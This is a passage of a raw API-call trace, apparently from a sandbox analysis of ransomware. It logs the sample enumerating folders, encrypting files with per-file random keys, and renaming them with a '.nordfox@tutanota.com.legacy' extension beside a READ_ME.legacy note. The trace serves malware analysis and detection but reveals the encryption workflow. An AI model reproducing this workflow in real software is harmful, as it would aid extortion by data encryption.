RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0101.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0101.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0101.265] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0101.266] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0101.266] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1040\\eula.rtf", dwFileAttributes=0x80) returned 1 [0101.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0101.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0101.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0101.267] CreateFileW (lpFileName="\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0101.267] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3643) returned 1 [0101.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe3b) returned 0x5a0f80 [0101.267] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe3b) returned 0x5a1dc8 [0101.267] ReadFile (in: hFile=0x4b0, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xe3b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xe3b, lpOverlapped=0x0) returned 1 [0101.269] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=-3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.269] WriteFile (in: hFile=0x4b0, lpBuffer=0x5a1dc8*, nNumberOfBytesToWrite=0xe3b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1dc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe3b, lpOverlapped=0x0) returned 1 [0101.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.269] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1dc8 | out: hHeap=0x520000) returned 1 [0101.269] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe3b [0101.269] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.269] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.270] WriteFile (in: hFile=0x4b0, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.270] WriteFile (in: hFile=0x4b0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.270] CloseHandle (hObject=0x4b0) returned 1 [0101.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0101.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0101.274] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1040\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0101.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0101.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0101.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0101.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0101.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0101.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0101.276] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0a28 [0101.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0101.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0101.277] GetLastError () returned 0x0 [0101.277] SetLastError (dwErrCode=0x0) [0101.277] GetLastError () returned 0x0 [0101.277] SetLastError (dwErrCode=0x0) [0101.277] GetLastError () returned 0x0 [0101.277] SetLastError (dwErrCode=0x0) [0101.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0101.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0101.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0101.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0101.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0f28 [0101.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f28 | out: hHeap=0x520000) returned 1 [0101.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0101.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0101.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0101.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0101.277] FindNextFileW (in: hFindFile=0x5a0a28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0101.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0101.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0101.277] GetLastError () returned 0x0 [0101.277] SetLastError (dwErrCode=0x0) [0101.277] GetLastError () returned 0x0 [0101.278] SetLastError (dwErrCode=0x0) [0101.278] GetLastError () returned 0x0 [0101.278] SetLastError (dwErrCode=0x0) [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0101.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0a68 [0101.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0a68 | out: hHeap=0x520000) returned 1 [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0101.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0101.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0101.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0101.278] FindNextFileW (in: hFindFile=0x5a0a28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0101.278] GetLastError () returned 0x0 [0101.278] SetLastError (dwErrCode=0x0) [0101.278] GetLastError () returned 0x0 [0101.278] SetLastError (dwErrCode=0x0) [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0101.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0101.278] GetLastError () returned 0x0 [0101.278] SetLastError (dwErrCode=0x0) [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0101.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0101.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0101.279] FindNextFileW (in: hFindFile=0x5a0a28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0101.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0101.279] GetLastError () returned 0x0 [0101.279] SetLastError (dwErrCode=0x0) [0101.279] GetLastError () returned 0x0 [0101.279] SetLastError (dwErrCode=0x0) [0101.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0101.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0101.279] GetLastError () returned 0x0 [0101.279] SetLastError (dwErrCode=0x0) [0101.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0101.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0101.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0101.279] FindNextFileW (in: hFindFile=0x5a0a28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ccb2c9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8ccb2c9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8ccb2c9, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0101.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0101.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0101.279] GetLastError () returned 0x0 [0101.279] SetLastError (dwErrCode=0x0) [0101.279] GetLastError () returned 0x0 [0101.279] SetLastError (dwErrCode=0x0) [0101.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0101.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0101.279] GetLastError () returned 0x0 [0101.279] SetLastError (dwErrCode=0x0) [0101.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0101.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0101.280] FindNextFileW (in: hFindFile=0x5a0a28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0101.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0101.280] GetLastError () returned 0x0 [0101.280] SetLastError (dwErrCode=0x0) [0101.280] GetLastError () returned 0x0 [0101.280] SetLastError (dwErrCode=0x0) [0101.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0101.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0101.280] GetLastError () returned 0x0 [0101.280] SetLastError (dwErrCode=0x0) [0101.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0101.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0101.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0101.280] FindNextFileW (in: hFindFile=0x5a0a28, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0101.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0101.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0101.280] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0101.280] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0101.280] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1041\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0101.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0101.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0101.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0101.281] CreateFileW (lpFileName="\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4 [0101.281] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15704) returned 1 [0101.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d58) returned 0x5a0f80 [0101.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d58) returned 0x5a4ce0 [0101.281] ReadFile (in: hFile=0x4b4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x3d58, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d58, lpOverlapped=0x0) returned 1 [0101.307] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=-15704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.307] WriteFile (in: hFile=0x4b4, lpBuffer=0x5a4ce0*, nNumberOfBytesToWrite=0x3d58, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a4ce0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d58, lpOverlapped=0x0) returned 1 [0101.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a4ce0 | out: hHeap=0x520000) returned 1 [0101.307] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d58 [0101.308] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.308] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.308] WriteFile (in: hFile=0x4b4, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.308] WriteFile (in: hFile=0x4b4, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.308] CloseHandle (hObject=0x4b4) returned 1 [0101.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0101.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0101.312] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1041\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0101.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0101.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0101.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0101.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0101.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0101.315] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0101.315] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1041\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0101.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0101.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0101.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0101.315] CreateFileW (lpFileName="\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4 [0101.315] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=68226) returned 1 [0101.315] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10a82) returned 0x5a0f80 [0101.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10a82) returned 0x5b1a10 [0101.316] ReadFile (in: hFile=0x4b4, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x10a82, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x10a82, lpOverlapped=0x0) returned 1 [0101.335] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=-68226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.335] WriteFile (in: hFile=0x4b4, lpBuffer=0x5b1a10*, nNumberOfBytesToWrite=0x10a82, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b1a10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10a82, lpOverlapped=0x0) returned 1 [0101.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b1a10 | out: hHeap=0x520000) returned 1 [0101.338] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10a82 [0101.338] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.338] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.340] WriteFile (in: hFile=0x4b4, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.340] WriteFile (in: hFile=0x4b4, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.340] CloseHandle (hObject=0x4b4) returned 1 [0101.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0101.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0101.349] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1041\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0101.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0101.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0101.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0101.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0101.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0101.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0101.353] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1041\\eula.rtf", dwFileAttributes=0x80) returned 1 [0101.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0101.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0101.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0101.353] CreateFileW 